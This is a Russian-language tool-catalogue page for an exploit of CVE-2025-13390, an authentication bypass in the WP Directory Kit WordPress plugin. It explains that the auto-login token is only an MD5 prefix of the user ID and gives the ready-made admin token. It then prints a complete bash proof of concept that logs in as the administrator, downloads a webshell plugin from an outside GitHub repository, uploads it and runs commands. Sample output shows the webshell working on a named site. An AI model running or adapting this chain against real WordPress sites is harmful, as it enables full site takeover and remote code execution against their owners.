Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-13390 — WP Directory Kit <= 1.4.4 - Обход аутентификации и повышение привилегий через захват учётной записи | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-13390
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификация
GitHubd0n601/cve-2025-13390

CVE-2025-13390

WP Directory Kit <= 1.4.4 - Обход аутентификации и повышение привилегий через захват учётной записи

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WP Directory Kit <= 1.4.4 — обход аутентификации с повышением привилегий через захват учётной записи

Краткое описание

Плагин WP Directory Kit для Wordpress версии 1.4.4 и ниже содержит обход аутентификации в функциональности автоматического входа. Уязвимость позволяет неаутентифицированным злоумышленникам получить административный доступ к сайтам WordPress, эксплуатируя криптографически некорректный механизм генерации токенов. Функция автоматического входа не может быть отключена и использует предсказуемый токен, который формируется исключительно из MD5-хэша идентификатора пользователя.

TL;DR Эксплойты

Файл CVE-2025-13390.sh загружает плагин с веб-шеллом на целевой сайт, предполагая, что пользователь с ID 1 является администратором.

root@kitploit:~
./CVE-2025-13390.sh     
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete

Детали уязвимости

Описание

Плагин WP Directory Kit реализует функцию автоматического входа, которая позволяет пользователям аутентифицироваться без ввода учётных данных, перейдя по URL, содержащему параметры user_id и token. Эта функция предназначена для сценариев входа без пароля, например, когда новые пользователи автоматически создаются и получают ссылки для входа по электронной почте.

Уязвимость находится в логике генерации и проверки токенов, расположенной в двух файлах:

  1. Генерация токена (application/helpers/Basic.php:5132-5137):
root@kitploit:~
function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}
  1. Проверка токена (actions.php:116-130):
root@kitploit:~
add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

Криптографическая ошибка

Генерация токена содержит критическую криптографическую ошибку. Код пытается создать токен следующим образом:

  1. Вычисляет md5($user_id) — что даёт 32-символьную шестнадцатеричную строку
  2. Конкатенирует NONCE_KEY (константу WordPress, обычно 64 символа)
  3. Конкатенирует строку 'wpdirectorykit'
  4. Берёт первые 10 символов с помощью substr(..., 0, 10)

Поскольку md5($user_id) имеет длину 32 символа, а функция берёт только первые 10 символов, токен просто становится первыми 10 символами MD5-хэша.

root@kitploit:~
substr(md5($user_id), 0, 10)

Например, для user_id = 1:

  • md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 шестнадцатеричных символа)
  • substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (только первые 10 символов MD5)

Константа NONCE_KEY, которая предназначена для обеспечения криптографической безопасности, полностью не имеет значения, поскольку она находится после первых 10 символов MD5-хэша.

Примечание: В установках WordPress первый созданный пользователь (с user_id = 1) почти всегда является администратором. Другие идентификаторы административных пользователей при необходимости можно перечислить и использовать вместо него.

Функцию автоматического входа нельзя отключить

Функция автоматического входа жёстко прописана в файле actions.php плагина и всегда активна, когда плагин включён. Не существует параметра конфигурации или настройки для отключения этой функции. Ссылки для автоматического входа создаются и отправляются в шаблонах электронных писем (см. application/views/email/new_user_auto_created.php:55), но сама конечная точка всегда доступна независимо от настроек электронной почты.

Воздействие

Когда злоумышленник отправляет запрос к конечной точке автоматического входа с действительным токеном (например, /?auto-login=1&user_id=1&token=c4ca4238a0), уязвимый код в actions.php:123 вызывает функцию WordPress wp_set_auth_cookie(). Эта функция устанавливает аутентифицированную сессию, задавая аутентификационные cookie WordPress в HTTP-ответе. Эти cookie включают:

  • wordpress_logged_in_[hash] — содержит идентификатор пользователя и информацию об аутентификации
  • wordpress_[hash] — содержит аутентификационный cookie для административной панели

После установки этих cookie браузер (или скрипт) злоумышленника рассматривается как аутентифицированная сессия указанного пользователя.

С этими административными cookie злоумышленник может устанавливать вредоносные плагины, создавать административных пользователей, что приводит к полной компрометации сайта.

Доказательство концепции

Следующий скрипт демонстрирует полную цепочку атаки, которая эксплуатирует уязвимость автоматического входа для получения административного доступа и установки веб-шелла:

root@kitploit:~
#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"

Скачать инструмент